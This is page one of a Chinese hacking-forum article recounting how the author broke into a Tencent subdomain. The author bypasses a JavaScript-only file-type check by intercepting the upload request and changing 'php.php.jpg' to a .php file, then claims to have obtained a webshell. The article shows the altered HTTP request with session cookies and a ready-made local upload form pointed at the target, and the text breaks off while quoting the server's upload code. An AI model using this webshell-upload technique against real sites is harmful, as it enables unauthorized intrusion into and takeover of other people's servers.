作品发布     邀请码    设为首页  收藏 

当前位置:文章提权渗透 → 文章内容 >> 说说腾讯分站被黑的过程 (1)


说说腾讯分站被黑的过程 (1)

更新时间:2012-2-18 16:11:17   作者:华中帝国整理  来源:华中帝国
最近腾讯分站被“黑”的消息有蛮人多关注的,某带头大哥就叫我写了篇贴子说说相关的过程是怎样的,进入正题! 大家都想像得到要黑腾讯这类大站找个明显的漏洞(包括注入)是很难的了,就算注入出密码肯定也 ...

    最近腾讯分站被“黑”的消息有蛮人多关注的,某带头大哥就叫我写了篇贴子说说相关的过程是怎样的,进入正题!

    大家都想像得到要黑腾讯这类大站找个明显的漏洞(包括注入)是很难的了,就算注入出密码肯定也加密了,解开了都不一定能找到后台拿shell,必境人家也是有相关的安全部门维护着!上传?除了后台哪里还有?我通过google搜,到处转了转看到腾讯某分站搞了个类似在线做动画的服务,当然前提是要登陆了才行,其中有个功能就是上传你的作品!这个地方能用?不限制上传类型?不试怎么知道!直接上php后缀的马不行,它是用js来控制的,只有jpg,bmp,gif后缀才能显视且才会开始上传。还有什么办法没?那就试试抓包再改后缀喽!内容如下:

    POST /games/412/upload.php HTTP/1.1

    Accept: text/*

    Content-Type: multipart/form-data; boundary=----------Ij5Ij5gL6ae0Ef1cH2ei4ae0GI3GI3

    User-Agent: Shockwave Flash

    Host: xxx.qq.com

    Content-Length: 69591       //注意修改后的字数

    Connection: Keep-Alive

    Cache-Control: no-cache

    Cookie: pgv_info=ssid=s1553263453&SPATHTAG=vip.qq.com/|NONE_REF; actwebinfo=1; qqactwebinfo=1; verifysession=7348bade52bad59bd71f3e368fb90efe261cd975f2632c49f622f5e7c95deb1fb0135e2f626632e0; uin=o0032182106; skey=@FXSiKBprF; qv_swfrfh=**********省略n多无关内容!

    ------------Ij5Ij5gL6ae0Ef1cH2ei4ae0GI3GI3

    Content-Disposition: form-data; name="Filedata"; filename="php.php.jpg" //我们去掉.jpg试试

    Content-Type: application/octet-stream

    .............................................//省略无关内容

    结果成功得到php后缀的shell地址,今天人品真不错,这样的漏洞都让我遇到,但是我有注意到域名和上传的页面并不一样,是yyy.qq.com的,进去后发现原来它跟目录下也有个上传文件upload.php,就拖了些相关文件和目录下来分析分析并写了个本地上传方便一些:

    <form name="upload_form" action="http://yyy.qq.com/upload.php" method="post" enctype="multipart/form-data">

    <input type="hidden" name="upfrom" value="flash" />

    请选择文件:

    <input name="Filedata" type="file" />

    <input type="submit" value="go" />

    </form>

    下面我们来看看yyy.qq.com/upload.php这个文件

    ............//省略无关代码

    $file_id = md5($_FILES["Filedata"]["tmp_name"] + rand()*100000);

    $file_ext = get_file_ext($_FILES["Filedata"]["name"],$allow_ext);     //注意

    $filename = $upload_dir.'/'.$fileFolder.'/'.$file_id.

[1] [2]

责任编辑:华中帝国        



本文引用网址: 

说说腾讯分站被黑的过程 (1)的相关文章
发表评论

用户名: 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 0分

内 容:

         (注“”为必填内容。) 验证码: 验证码,看不清楚?请点击刷新验证码